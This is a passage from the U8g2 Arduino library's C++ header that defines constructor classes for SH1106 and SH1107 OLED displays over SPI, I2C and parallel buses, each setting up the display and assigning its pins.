u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_64X32_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_64X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_64X32_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_64X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_64X32_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_64X32_2_6800 : public U8G2 { public: U8G2_SH1106_64X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_64X32_2_8080 : public U8G2 { public: U8G2_SH1106_64X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_64X32_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_64X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_64X32_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_64X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_64X32_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_64X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_64X32_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_64X32_F_6800 : public U8G2 { public: U8G2_SH1106_64X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_64X32_F_8080 : public U8G2 { public: U8G2_SH1106_64X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_64X32_1_SW_I2C : public U8G2 { public: U8G2_SH1106_64X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_64X32_1_HW_I2C : public U8G2 { public: U8G2_SH1106_64X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_64X32_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_64X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_64X32_2_SW_I2C : public U8G2 { public: U8G2_SH1106_64X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_64X32_2_HW_I2C : public U8G2 { public: U8G2_SH1106_64X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_64X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_64X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_64X32_F_SW_I2C : public U8G2 { public: U8G2_SH1106_64X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_64X32_F_HW_I2C : public U8G2 { public: U8G2_SH1106_64X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_64X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_64X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_64x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_64X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_64X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_64X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_64X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_64X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_64X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_64X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_64X128_1_6800 : public U8G2 { public: U8G2_SH1107_64X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_64X128_1_8080 : public U8G2 { public: U8G2_SH1107_64X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_64X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_64X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_64X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_64X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_64X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_64X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_64X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_64X128_2_6800 : public U8G2 { public: U8G2_SH1107_64X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_64X128_2_8080 : public U8G2 { public: U8G2_SH1107_64X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_64X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_64X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_64X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_64X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_64X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_64X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_64X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_64X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_64X128_F_6800 : public U8G2 { public: U8G2_SH1107_64X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_64X128_F_8080 : public U8G2 { public: U8G2_SH1107_64X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_64X128_1_SW_I2C : public U8G2 { public: U8G2_SH1107_64X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_64X128_1_HW_I2C : public U8G2 { public: U8G2_SH1107_64X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_64X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_64X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_64X128_2_SW_I2C : public U8G2 { public: U8G2_SH1107_64X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_64X128_2_HW_I2C : public U8G2 { public: U8G2_SH1107_64X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_64X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_64X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_64X128_F_SW_I2C : public U8G2 { public: U8G2_SH1107_64X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_64X128_F_HW_I2C : public U8G2 { public: U8G2_SH1107_64X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_64X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_64X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_64x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_SEEED_96X96_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_SEEED_96X96_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_SEEED_96X96_1_6800 : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_96X96_1_8080 : public U8G2 { public: U8G2_SH1107_SEEED_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = 